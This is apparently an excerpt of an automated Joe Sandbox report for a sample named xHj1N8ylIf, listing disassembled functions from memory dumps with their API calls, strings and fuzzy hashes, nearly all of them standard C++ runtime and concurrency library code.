Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ListSafe
String ID: {B
API String ID: 436756528-2325282898
Opcode ID: cfbbbf79981f8d87eab3c80e5aee88f843eb9e2301ab3d4428c237ccb60750b3
Instruction ID: 45f1f61dd464502d64ef056039e04617b4b1449a3add00d2522916c3bf530aeb
Opcode Fuzzy Hash: cfbbbf79981f8d87eab3c80e5aee88f843eb9e2301ab3d4428c237ccb60750b3
Instruction Fuzzy Hash: C901C03199860BEBCB08DF54C881FA9F7B9FF45318F1481A6D8054A991D771EAC6CB90

Function 020FA778 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 020FEA49

Part of subcall function 020FD958: Concurrency::details::LockQueueNode::LockQueueNode.LIBCONCRT ref: 020FD96B
Part of subcall function 020FD958: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 020FD975

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 020FEA62
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 020FEAA8

Strings

^C, xrefs: 020FEA31

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Concurrency::details::_LockLock::_Node::QueueScoped_lock$Acquire_lockConcurrency::critical_section::_EventNodeReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter
String ID: ^C
API String ID: 2524916244-3215044139
Opcode ID: a5622cca7a33b41db1264c8afb5d910ae115deee28c1169d813b59cfe28d47f4
Instruction ID: 5cbbf12f3bff679b0cfffbbd7798f44fc0d5d91471a9ef2f67fa3fafffb7f465
Opcode Fuzzy Hash: a5622cca7a33b41db1264c8afb5d910ae115deee28c1169d813b59cfe28d47f4
Instruction Fuzzy Hash: AD016D35A803148BDF96EBA0C4947ADB7A2FF88710F198065CA116B7A4DB34AD01EB91

Function 004096F8 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00409757

Strings

ios_base::badbit set, xrefs: 0040971A, 0040973A
ios_base::eofbit set, xrefs: 00409729
ios_base::failbit set, xrefs: 00409724

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: a0708596d82ee8874daba655b5953c9012597ddf10f48de3258a01104d5aab46
Instruction ID: decdbeb8c2345108d32890866708bc3d65a5f42ff46dcda52067884d5390e34e
Opcode Fuzzy Hash: a0708596d82ee8874daba655b5953c9012597ddf10f48de3258a01104d5aab46
Instruction Fuzzy Hash: A6F0F673914218EBDB44ED54CC12BAA33985B00354F54807BAD45BB1C3E67CAD05CB98

Function 020F995F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 37COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 020F99BE

Strings

ios_base::failbit set, xrefs: 020F998B
ios_base::badbit set, xrefs: 020F9981, 020F99A1
ios_base::eofbit set, xrefs: 020F9990

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: a0708596d82ee8874daba655b5953c9012597ddf10f48de3258a01104d5aab46
Instruction ID: 6dd6f1e4d4229f84ba3ce19db16f398172280674454c7454eedfa81ad9b0586d
Opcode Fuzzy Hash: a0708596d82ee8874daba655b5953c9012597ddf10f48de3258a01104d5aab46
Instruction Fuzzy Hash: 46F02B7294430CABDBC4EA58CC01BED33E85B84354F4580399F55AB981E7689D05CBD4

Function 0212D5A1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0212D5A8
make_shared.LIBCPMT ref: 0212D5F3

Strings

RCC, xrefs: 0212D5DA
MOC, xrefs: 0212D5CB

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchmake_shared
String ID: MOC$RCC
API String ID: 3472968176-2084237596
Opcode ID: ae7119942de878511bd1d3dca8c4c77cb4135456c25c274c17b32e2e800be162
Instruction ID: 5b6d58898d6e63a78b86e38f6d2dbd8760c15f6a6684ba65538dee65d091a696
Opcode Fuzzy Hash: ae7119942de878511bd1d3dca8c4c77cb4135456c25c274c17b32e2e800be162
Instruction Fuzzy Hash: 0AF049B0980328DFCB12EF6CD50099D7B62AF16740F4680B1F4049B320CB789A58DFE2

Function 00420F67 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::DestroyVirtualProcessorRoot.LIBCONCRT ref: 00420F99
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00420FAB
__CxxThrowException@8.LIBVCRUNTIME ref: 00420FB9

Strings

pScheduler, xrefs: 00420FA3

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::details::DestroyException@8ProcessorProxy::RootSchedulerThrowVirtualstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 1381464787-923244539
Opcode ID: cf3372ea46439b3cd42315dda39ec21f9aab03c16b88858d1215235245bbc13e
Instruction ID: 684648312ed42db1bd1c9b38f3543648076f670545f343470ffc120c1624abe1
Opcode Fuzzy Hash: cf3372ea46439b3cd42315dda39ec21f9aab03c16b88858d1215235245bbc13e
Instruction Fuzzy Hash: 88F02730B0022467C728FF50E992E9EB3A85E00745754803FB40263683DBBCAA09CA8D

Function 0041B2BD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28threadCOMMON

Download Yara Rule

APIs

Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0041B2DF
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0041B2F2
__CxxThrowException@8.LIBVCRUNTIME ref: 0041B300

Strings

pContext, xrefs: 0041B2EA

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::details::Exception@8FreeIdleProxyProxy::ReturnThreadThrowstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 1990795212-2046700901
Opcode ID: b0ac2d872d1798fcf86531029e65c06c27d7082b551ccf31d31fbe511deefbc0
Instruction ID: 88da52645aea160c43006da8d4b74bd01daebb79f54762ada59be64fe21e27f6
Opcode Fuzzy Hash: b0ac2d872d1798fcf86531029e65c06c27d7082b551ccf31d31fbe511deefbc0
Instruction Fuzzy Hash: 6EE02235B0021467CA00BBA5E80A99EB7A9AFD1754B14406BEA05A3292DBB8AD05C6D8

Function 00412A2A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00412A5A
__CxxThrowException@8.LIBVCRUNTIME ref: 00412A68

Strings

version, xrefs: 00412A3F
pScheduler, xrefs: 00412A52

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Exception@8Throwstd::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 1687795959-3154422776
Opcode ID: 3030cca69a19be53ddf87e3706c2cf2320a98d06c6603f9790b26c511601d26e
Instruction ID: e2d2c9422debf51b9c750345b0cbac4065eaf73549d6152028c5dd3bccfe0977
Opcode Fuzzy Hash: 3030cca69a19be53ddf87e3706c2cf2320a98d06c6603f9790b26c511601d26e
Instruction Fuzzy Hash: 98E08630D40208B7CB25EF51CA4ABDD7B646F107C9F2484277551610D2D7FC9ADACA4E

Function 00432548 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004325D3
__alldvrm.LIBCMT ref: 004327D4
__alldvrm.LIBCMT ref: 004327F6

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: aac6452636522afbdd3c5e4a641de202162234a856fdaa8cb68647c7c0d94c67
Instruction ID: 2c49018cee00ee15d4179c62add52eadf8c574e64aa0df3e77a69bdc59bfe173
Opcode Fuzzy Hash: aac6452636522afbdd3c5e4a641de202162234a856fdaa8cb68647c7c0d94c67
Instruction Fuzzy Hash: 74A16731A00786AFD715DE18CA917AEBBA0FF69310F24516FE4859B381C3BC8D42C759

Function 021227AF Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0212283A
__alldvrm.LIBCMT ref: 02122A3B
__alldvrm.LIBCMT ref: 02122A5D

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 9b235ce1a5a9543408fb46b3777d6a07bc10eea8968887d06ba8b8f82e9eb4a6
Instruction ID: da294a61f24574429a13f6780582c34107ddafb915a5e688246c87ae6156a5d5
Opcode Fuzzy Hash: 9b235ce1a5a9543408fb46b3777d6a07bc10eea8968887d06ba8b8f82e9eb4a6
Instruction Fuzzy Hash: F1A16772A803A69FEB25CF18C8907AEBBE1EF15310F1441ADF8959B681D7388959CB50

Function 0043C6B8 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0043C7E7

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 03746d6be89ac6f43aa612a22abf9123ea233b4a81e467d88214a0e8fde1af7e
Instruction ID: 71584cf26c91c2a0320c5e53e787b4a25ec2105a32b7a557e86a0cdde08684bd
Opcode Fuzzy Hash: 03746d6be89ac6f43aa612a22abf9123ea233b4a81e467d88214a0e8fde1af7e
Instruction Fuzzy Hash: 7B413B31600112ABDB247BBA9CC2A7E3BA4DF4D774F24125BFC18F6291D73C49415BA9

Function 0212C91F Relevance: 6.2, APIs: 4, Instructions: 152COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0212CA4E

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 36d538d64afa967b27233dd58c4342dc5ed6ee0aba6d2ad035ed2c3f4623a5c2
Instruction ID: e99f1e7e48725b917978a7fa455bd87aae82dc09f6d55b62503f721b8940d3e7
Opcode Fuzzy Hash: 36d538d64afa967b27233dd58c4342dc5ed6ee0aba6d2ad035ed2c3f4623a5c2
Instruction Fuzzy Hash: 30411931AC41346FDF24AFBC8C45BAE36A6EF45370F160267F618A6290E77045798BE1

Function 021237B4 Relevance: 6.1, APIs: 4, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,00446760,00000000,00000000,8B56FF8B,0211D12A,?,00000004,00000001,00446760,0000007F,?,8B56FF8B,00000001), ref: 02123801
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0212388A
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 0212389C
__freea.LIBCMT ref: 021238A5

Part of subcall function 021205BE: RtlAllocateHeap.NTDLL(00000000,020FAB22,00000000), ref: 021205F0

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: e4de971d6ca72cbda1f75d48d59d10633a9a5e4929e5ed072070c8012a235250
Instruction ID: 142cf9a5bfcbe6d62db10721b7468ce3030a8a379a90c1be372c8ab1cfa224ce
Opcode Fuzzy Hash: e4de971d6ca72cbda1f75d48d59d10633a9a5e4929e5ed072070c8012a235250
Instruction Fuzzy Hash: B0319D72A4021AAFDF258F65CC40DAE7BA5EF44714F0542B8FD24DB290E739C969CB90

Function 020FA69D Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 020FA6F5
__Xtime_diff_to_millis2.LIBCPMT ref: 020FA70F
_xtime_get.LIBCPMT ref: 020FA732
__Xtime_diff_to_millis2.LIBCPMT ref: 020FA73E

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 657ff0940981401532928611bd1b5405885e2671565accadaa4c4668446d23e0
Instruction ID: 2f25266dc448865cd53e81f194b82f5b6237461c86034a4a56ca030721946680
Opcode Fuzzy Hash: 657ff0940981401532928611bd1b5405885e2671565accadaa4c4668446d23e0
Instruction Fuzzy Hash: 6C212C75A403199FDF41EBA4DC859FEB7B9AF09714F00006AEA05B7650DB749D01AFA0

Function 0042038F Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000), ref: 004203D9
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 004203C1

Part of subcall function 004183CC: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 004183ED

__CxxThrowException@8.LIBVCRUNTIME ref: 0042040A
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00420433

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Context$Event$Base::Concurrency::details::$ThrowTrace$Exception@8
String ID:
API String ID: 2630251706-0
Opcode ID: 06b2e7bd31315682cab36c03ac4118af8cc16b222c6a974a3f8873e271ec6509
Instruction ID: 500f9afef3998244552200f822b5e7c3255905c1b81fb222ae7686e1ba841a52
Opcode Fuzzy Hash: 06b2e7bd31315682cab36c03ac4118af8cc16b222c6a974a3f8873e271ec6509
Instruction Fuzzy Hash: AC1129313002106BCB10AB25ACC996E7769EF44721F14407BFE06E72D3CB789C01CA99

Function 00401CE4 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000005), ref: 00401CF9
UpdateWindow.USER32 ref: 00401D01
ShowWindow.USER32(00000000), ref: 00401D15
MoveWindow.USER32(00000000,00000000,00000001,00000001,00000001), ref: 00401D78

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Window$Show$MoveUpdate
String ID:
API String ID: 1339878773-0
Opcode ID: 8929158610fd29cb01de26f5fc23f7356232ffab111dba484f413ba558b8aba5
Instruction ID: e09c2a62ebc551ffcfee0d084f5a6802920a283ab83090d7a86c3e9d8e82e135
Opcode Fuzzy Hash: 8929158610fd29cb01de26f5fc23f7356232ffab111dba484f413ba558b8aba5
Instruction Fuzzy Hash: E2016532A00218FBCB078F29EC086667AA7EBC5792B248136E50597271F7B19D61CF4C

Function 00425D79 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 00425D93

Part of subcall function 00425CE0: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 00425D0F
Part of subcall function 00425CE0: ___AdjustPointer.LIBCMT ref: 00425D2A

_UnwindNestedFrames.LIBCMT ref: 00425DA8
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 00425DB9
CallCatchBlock.LIBVCRUNTIME ref: 00425DE1

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 54f6ea2eec353334e20b05571adf73c37a5e27c693c4331a5702437cba4d4a25
Instruction ID: 4b00f3b3aa2d374be727563b93a8b8365000622213df4615dc3c344fe2f77f4e
Opcode Fuzzy Hash: 54f6ea2eec353334e20b05571adf73c37a5e27c693c4331a5702437cba4d4a25
Instruction Fuzzy Hash: 47012D32200158BBDF125E96DC45EEB3F7AEF88758F454009FE0896121C73AE861DBA8

Function 02115FE0 Relevance: 6.1, APIs: 4, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 02115FFA

Part of subcall function 02115F47: BuildCatchObjectHelperInternal.LIBVCRUNTIME ref: 02115F76
Part of subcall function 02115F47: ___AdjustPointer.LIBCMT ref: 02115F91

_UnwindNestedFrames.LIBCMT ref: 0211600F
__FrameHandler3::FrameUnwindToState.LIBVCRUNTIME ref: 02116020
CallCatchBlock.LIBVCRUNTIME ref: 02116048

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Catch$BuildFrameObjectUnwind$AdjustBlockCallFramesHandler3::HelperInternalNestedPointerState
String ID:
API String ID: 737400349-0
Opcode ID: 54f6ea2eec353334e20b05571adf73c37a5e27c693c4331a5702437cba4d4a25
Instruction ID: d6c9df7bc3ac0e92a3f96a2cd401a0970e15fcdabef4ba3a7ecff54e3382eb2a
Opcode Fuzzy Hash: 54f6ea2eec353334e20b05571adf73c37a5e27c693c4331a5702437cba4d4a25
Instruction Fuzzy Hash: D501E572140189BFDF126E95CC45EEB7B6EEF88754F044028FE58A6120D732E861EFA0

Function 00431BDF Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,00431B86,?,00000000,00000000,00000000,?,00431E3E,00000006,FlsSetValue), ref: 00431C11
GetLastError.KERNEL32(?,00431B86,?,00000000,00000000,00000000,?,00431E3E,00000006,FlsSetValue,00447330,FlsSetValue,00000000,00000364,?,0042EC5C), ref: 00431C1D
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00431B86,?,00000000,00000000,00000000,?,00431E3E,00000006,FlsSetValue,00447330,FlsSetValue,00000000), ref: 00431C2B

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: ed28a1df77fdae7b64e6ee1dcf0e63eaa2e3b431c479385ce623f67cb8843962
Instruction ID: 3273ee416a3d0e8de46d7518bac05242effe10dbf9c295d7f2a22c42d76fd299
Opcode Fuzzy Hash: ed28a1df77fdae7b64e6ee1dcf0e63eaa2e3b431c479385ce623f67cb8843962
Instruction Fuzzy Hash: F10120366953269BC7314B69DC44A973798FF0A7A1F212531FA07D7250DB38DC11CAE8

Function 02121E46 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,02121DED,00000000,00000000,00000000,00000000,?,021220A5,00000006,00447338), ref: 02121E78
GetLastError.KERNEL32(?,02121DED,00000000,00000000,00000000,00000000,?,021220A5,00000006,00447338,00447330,00447338,00000000,00000364,?,0211EEC3), ref: 02121E84
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,02121DED,00000000,00000000,00000000,00000000,?,021220A5,00000006,00447338,00447330,00447338,00000000), ref: 02121E92

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: ed28a1df77fdae7b64e6ee1dcf0e63eaa2e3b431c479385ce623f67cb8843962
Instruction ID: e222f92c1df4af145876c426306639b537c134778ad0763b561515209627f30d
Opcode Fuzzy Hash: ed28a1df77fdae7b64e6ee1dcf0e63eaa2e3b431c479385ce623f67cb8843962
Instruction Fuzzy Hash: 9C01FC36795336BBC7328B689C44A577798BF06761B320630F91AD7142D770D824C6F4

Function 00422DCE Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00422DE8
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 00422DFC
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00422E14
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00422E2C

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction ID: 65bc8b079a6926ab7ef873bc6426aada4f15d41dae554f7a6f2f3d47a1c06750
Opcode Fuzzy Hash: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction Fuzzy Hash: 04012B32300124B7CF16EE55D911AEF7799DF54314F41001BFC11AB242C9B4ED11A2A8

Function 02113035 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 0211304F
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 02113063
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 0211307B
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 02113093

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction ID: af7499d168215665f4e3fc124fd68809d070be55d47512c9cae1389ebc1232a4
Opcode Fuzzy Hash: c8ef6192b05c3357363908c599ceeaf6275af44595a57e37f7ac34529dc1d332
Instruction Fuzzy Hash: 8801D636B40114BBCF26EE689840BAFB7EAAF44350F0000A5ED25A7285DB70ED008AE0

Function 0210F822 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0210F851
Concurrency::details::SchedulerBase::GetBitSet.LIBCONCRT ref: 0210F86F

Part of subcall function 02105327: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMT ref: 02105348
Part of subcall function 02105327: Hash.LIBCMT ref: 02105388

Concurrency::details::QuickBitSet::operator=.LIBCMT ref: 0210F878
Concurrency::details::SchedulerBase::GetResourceMaskId.LIBCONCRT ref: 0210F898

Part of subcall function 0210C37F: Hash.LIBCMT ref: 0210C391

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Quick$Base::HashScheduler$AssignConcurrency::location::_MaskResourceSet::Set::operator=
String ID:
API String ID: 2250070497-0
Opcode ID: 6b10e7387c6df29269ad76a3749a1da006cfdb9f29ca047c0676352e3c3bd91b
Instruction ID: 0823e67891599b9614268ca2d6962347ddd58ded33624957637517272aa6f8bc
Opcode Fuzzy Hash: 6b10e7387c6df29269ad76a3749a1da006cfdb9f29ca047c0676352e3c3bd91b
Instruction Fuzzy Hash: 45112A76500604AFC725DF65C8C19CAF7B9BF19310B448A5EE55687591DBB0B504CFA0

Function 0210F831 Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 0210F851
Concurrency::details::SchedulerBase::GetBitSet.LIBCONCRT ref: 0210F86F

Part of subcall function 02105327: Concurrency::details::QuickBitSet::QuickBitSet.LIBCMT ref: 02105348
Part of subcall function 02105327: Hash.LIBCMT ref: 02105388

Concurrency::details::QuickBitSet::operator=.LIBCMT ref: 0210F878
Concurrency::details::SchedulerBase::GetResourceMaskId.LIBCONCRT ref: 0210F898

Part of subcall function 0210C37F: Hash.LIBCMT ref: 0210C391

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Quick$Base::HashScheduler$AssignConcurrency::location::_MaskResourceSet::Set::operator=
String ID:
API String ID: 2250070497-0
Opcode ID: a205bdb4906204f463aaa257ae9e745a07d038154da1908085c5a5e6753d7b47
Instruction ID: c90726fd8741f533a861c4697d4426e08bc84ec09f454942722ee633e285a48f
Opcode Fuzzy Hash: a205bdb4906204f463aaa257ae9e745a07d038154da1908085c5a5e6753d7b47
Instruction Fuzzy Hash: DC011772500604AFC724DFA9C881ADAF7E9FF59310F508A1EA55687590DBB0F544CF60

Function 00418B77 Relevance: 6.0, APIs: 4, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00418BA9
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00418BB9
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00418BC9
std::_Compare_exchange_acquire_4.LIBCONCRT ref: 00418BDD

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: Compare_exchange_acquire_4std::_
String ID:
API String ID: 3973403980-0
Opcode ID: 38cdf66307bc8ed7e0cc052d061e16f605bc2f8f37fdc0a32c8cd296608d4886
